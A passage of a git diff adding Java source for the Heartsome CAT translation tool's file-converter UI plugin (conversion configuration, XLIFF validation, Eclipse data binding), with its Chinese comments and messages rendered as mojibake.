(!replaceTarget) { // 如果未选择覆盖,判断并æ示目标文件是å¦å­˜åœ¨ + String localTarget = ConverterUtil.toLocalPath(target); + File file = new File(localTarget); + if (file.exists()) { + return ValidationStatus.error("已转æ¢çš„文件已存在。"); + } + } + } + if (targetEncoding == null || targetEncoding.trim().equals("")) { + return ValidationStatus.error("请选择已转æ¢æ–‡ä»¶çš„ç¼–ç ã€‚"); + } + return Status.OK_STATUS; + } + + public void setReplaceTarget(boolean replaceTarget) { + this.replaceTarget = replaceTarget; + } + + public boolean isReplaceTarget() { + return replaceTarget; + } + + public void setFileFormats(List fileFormats) { + this.fileFormats = fileFormats; + } + + public List getFileFormats() { + if (fileFormats == null) { + fileFormats = CommonFunctions.array2List(FileFormatUtils.getFileFormats()); + } + return fileFormats; + } + + public boolean isPreviewMode() { + return previewMode; + } + + public void setPreviewMode(boolean previewMode) { + this.previewMode = previewMode; + } +} diff --git a/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/model/ConversionValidateStrategy.java b/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/model/ConversionValidateStrategy.java new file mode 100644 index 0000000..5c8797a --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/model/ConversionValidateStrategy.java @@ -0,0 +1,32 @@ +/** + * ConversionValidateStrategy.java + * + * Version information : + * + * Date:Apr 13, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.convert.ui.model; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.IStatus; + +/** + * 验è¯æ–‡ä»¶è½¬æ¢çš„é…置信æ¯æ˜¯å¦æ­£ç¡®çš„顶层接å£ã€‚ + * @author cheney + * @since JDK1.6 + */ +public interface ConversionValidateStrategy { + + /** + * 验è¯æ–‡ä»¶è½¬æ¢çš„é…ç½®ä¿¡æ¯ + * @param path + * 文件路径 + * @param configuraion + * 文件转æ¢é…ç½®ä¿¡æ¯ + * @param monitor + * @return 返回验è¯çš„结果状æ€; + */ + IStatus validate(String path, ConversionConfigBean configuraion, IProgressMonitor monitor); +} diff --git a/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/model/ConverterContext.java b/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/model/ConverterContext.java new file mode 100644 index 0000000..2df7710 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/model/ConverterContext.java @@ -0,0 +1,173 @@ +package net.heartsome.cat.convert.ui.model; + +import static net.heartsome.cat.converter.Converter.FALSE; +import static net.heartsome.cat.converter.Converter.TRUE; + +import java.io.File; +import java.net.URISyntaxException; +import java.net.URL; +import java.util.HashMap; +import java.util.Iterator; +import java.util.Map; + +import net.heartsome.cat.converter.Converter; + +import org.eclipse.core.runtime.Platform; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * 在转æ¢æ–‡ä»¶çš„过程,用于构建除用户(UI)设置的其他所需é…ç½®ä¿¡æ¯ + * @author cheney + * @since JDK1.6 + */ +public class ConverterContext { + + private static final Logger LOGGER = LoggerFactory.getLogger(ConverterContext.class); + + // 转æ¢å™¨ç›¸å…³é…置文件顶层目录的å称 + private static final String CONVERTER_ROOT_CONFIG_FOLDER_NAME = "net.heartsome.cat.converter"; + + /** + * srx 目录 + */ + public static String srxFolder; + + // 文件路径分割符 + private static String fileSeparator = System.getProperty("file.separator"); + + // 系统的é…置文件夹路径 + private URL configurationLocation; + + // 转æ¢å™¨ç›¸å…³é…置文件所在的顶层目录 + private String configurationFolderForConverter; + + // è½¬æ¢ xliff çš„é…ç½® bean + private ConversionConfigBean configBean; + + /** + * catalogue 文件路径 + */ + public static String catalogue; + + // default srx 文件路径 + public static String defaultSrx; + + // ini 目录路径 + private String iniDir; + + static { + URL temp = Platform.getConfigurationLocation().getURL(); + if (temp != null) { + String configurationPath = new File(temp.getPath()).getAbsolutePath(); + String converterConfigurationPath = configurationPath + fileSeparator + + CONVERTER_ROOT_CONFIG_FOLDER_NAME + fileSeparator; + srxFolder = converterConfigurationPath + "srx" + fileSeparator; + defaultSrx = srxFolder + "default_rules.srx"; + catalogue = converterConfigurationPath + "catalogue" + fileSeparator + "catalogue.xml"; + } + } + + /** + * 构建函数 + * @param configBean + * 用户在 UI 所设置的é…ç½®ä¿¡æ¯ + */ + public ConverterContext(ConversionConfigBean configBean) { + this.configBean = configBean; + configurationLocation = Platform.getConfigurationLocation().getURL(); + if (configurationLocation != null) { + try { + String configurationPath = new File(configurationLocation.toURI()).getAbsolutePath(); + configurationFolderForConverter = configurationPath + fileSeparator + CONVERTER_ROOT_CONFIG_FOLDER_NAME + + fileSeparator; + iniDir = configurationFolderForConverter + "ini"; + } catch (URISyntaxException e) { + e.printStackTrace(); + } + } + } + + /** + * 转æ¢æ–‡ä»¶æ‰€éœ€è¦çš„é…ç½®ä¿¡æ¯ + * @return 返回转æ¢æ–‡ä»¶æ‰€éœ€è¦çš„é…置信æ¯; + */ + public Map getConvertConfiguration() { + Map configuration = new HashMap(); + configuration.put(Converter.ATTR_SOURCE_FILE, ConverterUtil.toLocalPath(configBean.getSource())); + configuration.put(Converter.ATTR_XLIFF_FILE, ConverterUtil.toLocalPath(configBean.getTarget())); + configuration.put(Converter.ATTR_SKELETON_FILE, ConverterUtil.toLocalPath(configBean.getSkeleton())); + configuration.put(Converter.ATTR_SOURCE_LANGUAGE, configBean.getSrcLang()); + configuration.put(Converter.ATTR_TARGET_LANGUAGE, configBean.getTgtLang()); + configuration.put(Converter.ATTR_SOURCE_ENCODING, configBean.getSrcEncoding()); + boolean segByElement = configBean.isSegByElement(); + configuration.put(Converter.ATTR_SEG_BY_ELEMENT, segByElement ? TRUE : FALSE); + configuration.put(Converter.ATTR_INI_FILE, ConverterUtil.toLocalPath(configBean.getInitSegmenter())); + String srx = configBean.getInitSegmenter(); + if (srx == null || srx.trim().equals("")) { + srx = defaultSrx; + } + configuration.put(Converter.ATTR_SRX, srx); + configuration.put(Converter.ATTR_LOCK_XTRANS, configBean.isLockXtrans() ? TRUE : FALSE); + configuration.put(Converter.ATTR_LOCK_100, configBean.isLock100() ? TRUE : FALSE); + configuration.put(Converter.ATTR_LOCK_101, configBean.isLock101() ? TRUE : FALSE); + configuration.put(Converter.ATTR_LOCK_REPEATED, configBean.isLockRepeated() ? TRUE : FALSE); + configuration.put(Converter.ATTR_BREAKONCRLF, configBean.isBreakOnCRLF() ? TRUE : FALSE); + configuration.put(Converter.ATTR_EMBEDSKL, configBean.isEmbedSkl() ? TRUE : FALSE); + configuration = getCommonConvertConfiguration(configuration); + if (LOGGER.isInfoEnabled()) { + printConfigurationInfo(configuration); + } + return configuration; + } + + /** + * 逆转æ¢æ–‡ä»¶æ‰€éœ€è¦çš„é…ç½®ä¿¡æ¯ + * @return 返回逆转æ¢æ–‡ä»¶æ‰€éœ€è¦çš„é…置信æ¯; + */ + public Map getReverseConvertConfiguraion() { + Map configuration = new HashMap(); + configuration.put(Converter.ATTR_XLIFF_FILE, ConverterUtil.toLocalPath(configBean.getSource())); + configuration.put(Converter.ATTR_TARGET_FILE, ConverterUtil.toLocalPath(configBean.getTarget())); + configuration.put(Converter.ATTR_SKELETON_FILE, configBean.getSkeleton()); + configuration.put(Converter.ATTR_SOURCE_ENCODING, configBean.getTargetEncoding()); + configuration.put(Converter.ATTR_IS_PREVIEW_MODE, configBean.isPreviewMode() ? TRUE : FALSE); + configuration = getCommonConvertConfiguration(configuration); + if (LOGGER.isInfoEnabled()) { + printConfigurationInfo(configuration); + } + return configuration; + } + + /** + * 设置通用的é…ç½®ä¿¡æ¯ + * @param configuration + * @return ; + */ + private Map getCommonConvertConfiguration(Map configuration) { + configuration.put(Converter.ATTR_CATALOGUE, catalogue); + configuration.put(Converter.ATTR_INIDIR, iniDir); + + // 设置 xml 转æ¢å™¨ä¸­éœ€è¦ç”¨åˆ°çš„ program folder,指å‘程åºçš„é…置目录 + configuration.put(Converter.ATTR_PROGRAM_FOLDER, configurationFolderForConverter); + return configuration; + } + + /** + * 打å°é…ç½®ä¿¡æ¯ + * @param configuration + */ + private void printConfigurationInfo(Map configuration) { + Iterator iterator = configuration.keySet().iterator(); + StringBuffer buffer = new StringBuffer(); + buffer.append("configuration:--------------------\n"); + while (iterator.hasNext()) { + String key = iterator.next(); + String value = configuration.get(key); + buffer.append("key:" + key + "--value:" + value + "\n"); + } + buffer.append("---------------------------------"); + System.out.println(buffer.toString()); + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/model/ConverterNotFoundException.java b/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/model/ConverterNotFoundException.java new file mode 100644 index 0000000..8ba1b23 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/model/ConverterNotFoundException.java @@ -0,0 +1,25 @@ +package net.heartsome.cat.convert.ui.model; + +import net.heartsome.cat.converter.ConverterException; + +import org.eclipse.core.runtime.IStatus; + +/** + * 找ä¸åˆ°æ‰€éœ€è½¬æ¢å™¨çš„需æ•èŽ·å¼‚常 + * @author cheney + * @since JDK1.6 + */ +public class ConverterNotFoundException extends ConverterException { + + /** serialVersionUID. */ + private static final long serialVersionUID = 1L; + + /** + * 构造函数 + * @param status + */ + public ConverterNotFoundException(IStatus status) { + super(status); + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/model/ConverterUtil.java b/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/model/ConverterUtil.java new file mode 100644 index 0000000..fba8777 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/model/ConverterUtil.java @@ -0,0 +1,110 @@ +package net.heartsome.cat.convert.ui.model; + +import java.io.File; + +import org.eclipse.core.databinding.DataBindingContext; +import org.eclipse.core.databinding.beans.BeansObservables; +import org.eclipse.core.databinding.observable.value.IObservableValue; +import org.eclipse.core.filesystem.URIUtil; +import org.eclipse.core.resources.IFile; +import org.eclipse.core.resources.IWorkspaceRoot; +import org.eclipse.core.resources.ResourcesPlugin; +import org.eclipse.core.runtime.IPath; +import org.eclipse.core.runtime.Path; +import org.eclipse.core.runtime.Platform; +import org.eclipse.jface.databinding.viewers.IViewerObservableValue; +import org.eclipse.jface.databinding.viewers.ViewersObservables; +import org.eclipse.jface.viewers.ArrayContentProvider; +import org.eclipse.jface.viewers.ComboViewer; +import org.eclipse.jface.viewers.ViewerComparator; + +/** + * @author cheney + * @since JDK1.6 + */ +public final class ConverterUtil { + private static final String PROPERTIES_NAME = "name"; + + private static final String PROPERTIES_SELECTED_TYPE = "selectedType"; + + private static IWorkspaceRoot root = ResourcesPlugin.getWorkspace().getRoot(); + + /** + * ç§æœ‰æž„建函数 + */ + private ConverterUtil() { + // 防止创建实例 + } + + /** + * 对下拉列表和转æ¢å™¨åˆ—表进行绑定 + * @param context + * @param comboViewer + * @param model + * ; + */ + public static void bindValue(DataBindingContext context, ComboViewer comboViewer, ConverterViewModel model) { + // ViewerSupport.bind(comboViewer, BeansObservables.observeList( + // model, "supportTypes", String.class), + // Properties.selfValue(String.class)); + // + // + // context.bindValue(ViewersObservables + // .observeSingleSelection(comboViewer), BeansObservables + // .observeValue(model, + // "selectedType")); + + // ObservableListContentProvider viewerContentProvider=new ObservableListContentProvider(); + comboViewer.setContentProvider(new ArrayContentProvider()); + comboViewer.setComparator(new ViewerComparator()); + // IObservableMap[] attributeMaps = BeansObservables.observeMaps( + // viewerContentProvider.getKnownElements(), + // ConverterBean.class, new String[] { "description" }); + // comboViewer.setLabelProvider(new ObservableMapLabelProvider( + // attributeMaps)); + // comboViewer.setInput(Observables.staticObservableList(model.getSupportTypes(),ConverterBean.class)); + + comboViewer.setInput(model.getSupportTypes()); + IViewerObservableValue selection = ViewersObservables.observeSingleSelection(comboViewer); + IObservableValue observableValue = BeansObservables.observeDetailValue(selection, PROPERTIES_NAME, null); + context.bindValue(observableValue, BeansObservables.observeValue(model, PROPERTIES_SELECTED_TYPE)); + } + + /** + * 是å¦ä¸ºå·¥ä½œç©ºé—´å†…的路径 + * @param workspacePath + * @return ; + */ + private static boolean isWorkspacePath(String workspacePath) { + IFile file = root.getFileForLocation(URIUtil.toPath(new File(workspacePath).toURI())); + return file == null; + } + + /** + * 得到本地文件系统路径 + * @param workspacePath + * @return ; + */ + public static String toLocalPath(String workspacePath) { + if (isWorkspacePath(workspacePath)) { + IPath path = Platform.getLocation(); + return path.append(workspacePath).toOSString(); + } else { + return workspacePath; + } + } + + /** + * 得到本地文件。 + * @param workspacePath + * @return ; + */ + public static File toLocalFile(String workspacePath) { + if (isWorkspacePath(workspacePath)) { + IPath path = Platform.getLocation(); + return path.append(workspacePath).toFile(); + } else { + return new File(workspacePath); + } + } +} diff --git a/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/model/ConverterViewModel.java b/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/model/ConverterViewModel.java new file mode 100644 index 0000000..2c5da84 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/model/ConverterViewModel.java @@ -0,0 +1,398 @@ +package net.heartsome.cat.convert.ui.model; + +import java.io.File; +import java.io.IOException; +import java.util.Map; + +import net.heartsome.cat.bean.Constant; +import net.heartsome.cat.convert.ui.Activator; +import net.heartsome.cat.convert.ui.action.ConversionCompleteAction; +import net.heartsome.cat.convert.ui.job.JobFactoryFacade; +import net.heartsome.cat.convert.ui.job.JobRunnable; +import net.heartsome.cat.convert.ui.wizard.Messages; +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.util.ConverterTracker; +import net.heartsome.cat.converter.util.ConverterUtils; +import net.heartsome.cat.ts.core.file.XLFHandler; + +import org.eclipse.core.databinding.validation.ValidationStatus; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.OperationCanceledException; +import org.eclipse.core.runtime.Status; +import org.eclipse.core.runtime.jobs.Job; +import org.eclipse.jface.action.IAction; +import org.eclipse.swt.widgets.Display; +import org.eclipse.ui.statushandlers.StatusManager; +import org.osgi.framework.BundleContext; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * 在界é¢ä¸Šæ˜¾ç¤ºè½¬æ¢å™¨åˆ—表的 View Model + * @author cheney,weachy + * @since JDK1.5 + */ +public class ConverterViewModel extends ConverterTracker { + private static final Logger LOGGER = LoggerFactory.getLogger(ConverterViewModel.class.getName()); + private ConversionConfigBean configBean; + private IConversionItem conversionItem; + + /** + * UI è·Ÿ 转æ¢å™¨ä¹‹é—´çš„ View Model + * @param bundleContext + * @param direction + */ + public ConverterViewModel(BundleContext bundleContext, String direction) { + super(bundleContext, direction); + configBean = new ConversionConfigBean(); + } + + /** + * 获得转æ¢æ–‡ä»¶æ—¶å­˜å‚¨é…置信æ¯çš„对象 + * @return ; + */ + public ConversionConfigBean getConfigBean() { + return configBean; + } + + @Override + public Map convert(Map parameters) { + return convert(); + } + + /** + * æ ¹æ®ç”¨æˆ·çš„选择和é…置信æ¯ï¼Œæ‰§è¡Œæ–‡ä»¶çš„转æ¢åŠŸèƒ½ + * @return ; + */ + public Map convert() { + System.out.print(getConfigBean().toString()); + // 以用户最åŽåœ¨é…置对è¯æ¡†æ‰€é€‰æ‹©çš„æºæ–‡ä»¶ä¸ºå‡† + JobRunnable runnalbe = new JobRunnable() { + + private Map conversionResult; + + public IStatus run(IProgressMonitor monitor) { + IStatus result = Status.OK_STATUS; + try { + conversionResult = convertWithoutJob(monitor); + } catch (OperationCanceledException e) { + result = Status.CANCEL_STATUS; + } catch (ConverterException e) { + result = e.getStatus(); + } finally { + ConverterViewModel.this.close(); + } + return result; + } + + public void showResults(IStatus status) { + IAction action = getRunnableCompletedAction(status); + if (action != null) { + action.run(); + } + } + + public IAction getRunnableCompletedAction(IStatus status) { + return new ConversionCompleteAction("文件转æ¢", status, conversionResult); + } + }; + Job conversionJob = JobFactoryFacade.createJob(Display.getDefault(), "conversion job", runnalbe); + conversionJob.setUser(true); + conversionJob.setRule(conversionItem.getProject()); + conversionJob.schedule(); + return null; + } + + /** + * æ­£å‘转æ¢ï¼ˆåªæ˜¯è½¬æ¢çš„过程,未放入åŽå°çº¿ç¨‹ï¼Œæœªå¤„ç†è½¬æ¢ç»“æžœæ示信æ¯ï¼‰ï¼› + * @param sourceItem + * @param monitor + * @return ; + * @throws ConverterException + */ + public Map convertWithoutJob(IProgressMonitor subMonitor) throws ConverterException { + if (getDirection().equals(Converter.DIRECTION_POSITIVE)) { + return convert(conversionItem, subMonitor); + } else { + return reverseConvert(conversionItem, subMonitor); + } + } + + /** + * æ­£å‘è½¬æ¢ + * @param sourceItem + * @param monitor + * @return ; + */ + private Map convert(final IConversionItem sourceItem, IProgressMonitor monitor) + throws ConverterException { + Map result = null; + + String sourcePathStr = configBean.getSource(); + String targetFile = ConverterUtil.toLocalPath(configBean.getTarget()); + String skeletonFile = ConverterUtil.toLocalPath(configBean.getSkeleton()); + boolean convertSuccessful = false; + File target = null; // æ­£å‘转æ¢çš„ç›®æ ‡æ–‡ä»¶ï¼Œå³ XLIFF 文件 + File skeleton = null; // 骨架文件 + try { + target = new File(targetFile); + if (!target.exists()) { + try { + File parent = target.getParentFile(); + if (!parent.exists()) { + parent.mkdirs(); + } + target.createNewFile(); + } catch (IOException e) { + if (LOGGER.isErrorEnabled()) { + LOGGER.error("创建目标文件:" + targetFile + "失败。", e); + } + } + } + skeleton = new File(skeletonFile); + if (!skeleton.exists()) { + try { + File parent = skeleton.getParentFile(); + if (!parent.exists()) { + parent.mkdirs(); + } + skeleton.createNewFile(); + } catch (IOException e) { + if (LOGGER.isErrorEnabled()) { + LOGGER.error("创建骨架文件:" + skeletonFile + "失败。", e); + } + } + } + ConverterContext converterContext = new ConverterContext(configBean); + final Map configuration = converterContext.getConvertConfiguration(); + Converter converter = getConverter(); + if (converter == null) { + // Build a message + String message = "æ­¤æºæ–‡ä»¶ç±»åž‹å¯¹åº”的转æ¢å™¨ä¸å­˜åœ¨ï¼š" + configBean.getFileType(); + // Build a new IStatus + IStatus status = new Status(IStatus.ERROR, Activator.PLUGIN_ID, message); + throw new ConverterNotFoundException(status); + } + result = converter.convert(configuration, monitor); + convertSuccessful = true; + } catch (OperationCanceledException e) { + // æ•èŽ·ç”¨æˆ·å–消æ“作的异常 + LOGGER.info("用户å–消æ“作。", e); + throw e; + } catch (ConverterException e) { + if (LOGGER.isErrorEnabled()) { + LOGGER.error("转æ¢æ–‡ä»¶:" + sourcePathStr + " 失败。", e); + } + throw e; + } finally { + // 在转æ¢å¤±è´¥æˆ–用户å–消转æ¢æ—¶ï¼Œæ¸…除目标文件和骨架文件 + if (!convertSuccessful) { + if (target != null && target.exists()) { + target.delete(); + } + if (skeleton != null && skeleton.exists()) { + skeleton.delete(); + } + } + sourceItem.refresh(); + } + return result; + } + + /** + * 逆å‘è½¬æ¢ + * @param sourceItem + * @param monitor + * @return ; + */ + private Map reverseConvert(IConversionItem sourceItem, IProgressMonitor monitor) + throws ConverterException { + Map result = null; + String sourcePathStr = configBean.getSource(); + String targetFile = ConverterUtil.toLocalPath(configBean.getTarget()); + boolean convertSuccessful = false; + File target = null; + try { + target = new File(targetFile); + if (!target.exists()) { + try { + File parent = target.getParentFile(); + if (!parent.exists()) { + parent.mkdirs(); + } + target.createNewFile(); + } catch (IOException e) { + if (LOGGER.isErrorEnabled()) { + LOGGER.error("创建目标文件:" + targetFile + "失败。", e); + } + } + } + Converter converter = getConverter(); + if (converter == null) { + // Build a message + String message = "xliff 对应的æºæ–‡ä»¶ç±»åž‹çš„转æ¢å™¨ä¸å­˜åœ¨ï¼š" + configBean.getFileType(); + // Build a new IStatus + IStatus status = new Status(IStatus.ERROR, Activator.PLUGIN_ID, message); + throw new ConverterNotFoundException(status); + } + ConverterContext converterContext = new ConverterContext(configBean); + final Map configuration = converterContext.getReverseConvertConfiguraion(); + result = converter.convert(configuration, monitor); + convertSuccessful = true; + } catch (OperationCanceledException e) { + // æ•èŽ·ç”¨æˆ·å–消æ“作的异常 + LOGGER.info("用户å–消æ“作。", e); + throw e; + } catch (ConverterNotFoundException e) { + // Let the StatusManager handle the Status and provide a hint + StatusManager.getManager().handle(e.getStatus(), StatusManager.LOG | StatusManager.SHOW); + if (LOGGER.isErrorEnabled()) { + LOGGER.error(e.getMessage(), e); + } + throw e; + } catch (ConverterException e) { + if (LOGGER.isErrorEnabled()) { + LOGGER.error("转æ¢æ–‡ä»¶:{}失败。", sourcePathStr, e); + } + throw e; + } finally { + if (!convertSuccessful) { + // 在转æ¢å¤±è´¥æˆ–用户å–消转æ¢æ—¶ï¼Œæ¸…除目标文件和骨架文件 + if (target != null && target.exists()) { + target.delete(); + } + } + sourceItem.refresh(); + } + return result; + } + + /** + * éªŒè¯ + * @return ; + */ + public IStatus validate() { + if (direction.equals(Converter.DIRECTION_POSITIVE)) { + return validateConversion(); + } else { + return validateReverseConversion(); + } + } + + /** + * 逆å‘转æ¢éªŒè¯ + * @return ; + */ + private IStatus validateReverseConversion() { + return configBean.validateReverseConversion(); + } + + /** + * éªŒè¯ xliff 所需è¦è½¬æ¢çš„ xliff 文件 + * @param xliffPath + * xliff 文件路径 + * @param monitor + * @return ; + */ + public IStatus validateXliffFile(String xliffPath, XLFHandler handler, IProgressMonitor monitor) { + IStatus result = new ReverseConversionValidateWithLibrary3().validate(xliffPath, configBean, monitor); + if (!result.isOK()) { + return result; + } + // 验è¯æ˜¯å¦å­˜åœ¨ xliff 对应的æºæ–‡ä»¶ç±»åž‹çš„转æ¢å™¨å®žçŽ° + String fileType = configBean.getFileType(); + Converter converter = getConverter(fileType); + if (converter != null) { + result = validateFileNodeInXliff(handler, xliffPath, converter.getType()); // éªŒè¯ XLIFF 文件的 file 节点 + if (!result.isOK()) { + return result; + } + + setSelectedType(fileType); + result = Status.OK_STATUS; + } else { + result = ValidationStatus.error("xliff 对应的æºæ–‡ä»¶ç±»åž‹çš„转æ¢å™¨ä¸å­˜åœ¨ï¼š" + fileType); + } + return result; + } + + /** + * éªŒè¯ XLIFF 文件中的 file 节点 + * @param handler + * XLFHandler 实例 + * @param xliffPath + * XLIFF 文件路径 + * @param type + * 文件类型,(Converter.getType() 的值,XLIIF 文件 file 节点的 datatype 属性值) + * @return ; + */ + private IStatus validateFileNodeInXliff(XLFHandler handler, String xliffPath, String type) { + handler.reset(); // é‡ç½®ï¼Œä»¥ä¾¿é‡æ–°ä½¿ç”¨ã€‚ + Map resultMap = handler.openFile(xliffPath); + if (resultMap == null + || Constant.RETURNVALUE_RESULT_SUCCESSFUL != (Integer) resultMap.get(Constant.RETURNVALUE_RESULT)) { + // 打开文件失败。 + return ValidationStatus.error(Messages.getString("ConverterViewModel.0")); //$NON-NLS-1$ + } + try { + int fileCount = handler.getFileCountInXliff(xliffPath); + if (fileCount < 1) { // ä¸å­˜åœ¨ file 节点。æ示为ä¸åˆæ³•çš„ XLIFF + return ValidationStatus.error(Messages.getString("ConverterViewModel.0")); //$NON-NLS-1$ + } else if (fileCount > 1) { // 多个 file 节点,æ示分割。 + if (ConverterUtils.isOpenOfficeOrMSOffice2007(type)) { + // 验è¯æºæ–‡ä»¶æ˜¯ OpenOffice å’Œ MSOffice 2007 çš„XLIFF çš„ file 节点信æ¯æ˜¯å¦å®Œæ•´ + return validateOpenOfficeOrMSOffice2007(handler, xliffPath); + } + return ValidationStatus.error(Messages.getString("ConverterViewModel.1")); //$NON-NLS-1$ + } else { // åªæœ‰ä¸€ä¸ª file 节点 + return Status.OK_STATUS; + } + } catch (Exception e) { // 当å‰æ‰“开了多个 XLIFF 文件,å‚看 XLFHandler.getFileCountInXliff() 方法 + return ValidationStatus.error(Messages.getString("ConverterViewModel.1")); //$NON-NLS-1$ + } + } + + /** + * 验è¯æºæ–‡ä»¶æ˜¯ OpenOffice å’Œ MSOffice 2007 çš„XLIFF çš„ file 节点信æ¯æ˜¯å¦å®Œæ•´ + * @param handler + * @param path + * @return ; + */ + private IStatus validateOpenOfficeOrMSOffice2007(XLFHandler handler, String path) { + if (!handler.validateMultiFileNodes(path)) { + return ValidationStatus.error("XLIFF 文件中 “document†属性组(prop-group)信æ¯ç¼ºå¤±æˆ–者ä¸å®Œæ•´ï¼Œæ— æ³•è½¬æ¢ã€‚"); + } + return Status.OK_STATUS; + } + + /** + * æ­£å‘转æ¢éªŒè¯ + * @return ; + */ + private IStatus validateConversion() { + if (selectedType == null || selectedType.trim().equals("")) { + return ValidationStatus.error("请选择文件类型。"); + } + return configBean.validateConversion(); + } + + /** + * 在导航视图中所选择的文件 + * @param file + * ; + */ + public void setConversionItem(IConversionItem file) { + this.conversionItem = file; + } + + /** + * 在导航视图中所选择的文件 + * @return ; + */ + public IConversionItem getConversionItem() { + return conversionItem; + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/model/DefaultConversionItem.java b/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/model/DefaultConversionItem.java new file mode 100644 index 0000000..2d6570e --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/model/DefaultConversionItem.java @@ -0,0 +1,87 @@ +package net.heartsome.cat.convert.ui.model; + +import java.io.File; + +import org.eclipse.core.runtime.IPath; +import org.eclipse.core.runtime.Path; +import org.eclipse.core.runtime.jobs.ISchedulingRule; + +/** + * 默认的转项目实现 + * @author cheney + * @since JDK1.6 + */ +public class DefaultConversionItem implements IConversionItem { + + /** + * 空转æ¢é¡¹ç›® + */ + public static final IConversionItem EMPTY_CONVERSION_ITEM = new DefaultConversionItem(Path.EMPTY); + + /** + * 转æ¢é¡¹ç›®çš„路径 + */ + protected IPath path; + + /** + * 相对于转æ¢é¡¹ç›®è·¯å¾„的上一层转æ¢é¡¹ç›® + */ + protected IConversionItem parent; + + /** + * 默认转æ¢é¡¹ç›®çš„构建函数 + * @param path + */ + public DefaultConversionItem(IPath path) { + this.path = path; + + } + + public void refresh() { + // do nothing + } + + public boolean contains(ISchedulingRule rule) { + if (this == rule) { + return true; + } + if (!(rule instanceof DefaultConversionItem)) { + return false; + } + DefaultConversionItem defaultConversionItem = (DefaultConversionItem) rule; + // 处ç†è·¯å¾„相åŒçš„情况 + return path.equals(defaultConversionItem.path); + } + + public boolean isConflicting(ISchedulingRule rule) { + if (!(rule instanceof DefaultConversionItem)) { + return false; + } + DefaultConversionItem defaultConversionItem = (DefaultConversionItem) rule; + // 处ç†è·¯å¾„相åŒçš„情况 + return path.equals(defaultConversionItem.path); + } + + public IPath getLocation() { + return path; + } + + public IConversionItem getParent() { + if (parent == null) { + File temp = path.toFile().getParentFile(); + if (temp != null) { + parent = new DefaultConversionItem(new Path(temp.getAbsolutePath())); + } + } + return parent; + } + + public String getName() { + return path.toFile().getName(); + } + + public IConversionItem getProject() { + return getParent(); + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/model/IConversionItem.java b/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/model/IConversionItem.java new file mode 100644 index 0000000..4bdc694 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/model/IConversionItem.java @@ -0,0 +1,42 @@ +package net.heartsome.cat.convert.ui.model; + +import org.eclipse.core.runtime.IPath; +import org.eclipse.core.runtime.jobs.ISchedulingRule; + +/** + * 转æ¢è¿‡ç¨‹ä¸­è¡¨ç¤ºæºã€ç›®æ ‡æˆ–骨架等的转æ¢é¡¹ç›®ï¼Œå…·ä½“的实现å¯ä»¥æ˜¯æ–‡ä»¶æˆ–其他形å¼ï¼Œå®šä¹‰æ­¤æŽ¥å£çš„ç›®çš„æ˜¯é€‚é… org.eclipse.core.resources 中 çš„ IFile 等接å£ï¼Œorg.eclipse.core.resources + * ä¸åŒ…å«åœ¨ RAP 目标平å°ä¸­ï¼Œä¸” org.eclipse.core.resources 的实现ä¸æ˜¯å¤šç”¨æˆ·çš„,所以ä¸å»ºè®®æŠŠ org.eclipse.core.resources åŠå…¶ä¾èµ–放到 RAP å¹³å°ä¸­ç›´æŽ¥ä½¿ç”¨ã€‚åŒæ—¶å®žçŽ° + * ISchedulingRule 接å£å®šä¹‰èµ„æºçš„访问规则。 + * @author cheney + */ +public interface IConversionItem extends ISchedulingRule { + + /** + * 刷新 conversion item ; + */ + void refresh(); + + /** + * @return 返回此转æ¢é¡¹ç›®çš„ä½ç½®; + */ + IPath getLocation(); + + /** + * 获得转æ¢é¡¹ç›®çš„父 + * @return ; + */ + IConversionItem getParent(); + + /** + * 获得转æ¢é¡¹ç›®æ‰€åœ¨çš„项目,如果转æ¢é¡¹ç›®ä¸åœ¨å·¥ä½œç©ºé—´ä¸­ï¼Œåˆ™ç›´æŽ¥è¿”回其上一层转æ¢é¡¹ç›® + * @return ; + */ + IConversionItem getProject(); + + /** + * 获得转æ¢é¡¹ç›®çš„å称 + * @return ; + */ + String getName(); + +} diff --git a/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/model/ReverseConversionValidateWithLibrary3.java b/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/model/ReverseConversionValidateWithLibrary3.java new file mode 100644 index 0000000..33dd10e --- /dev/null +++ 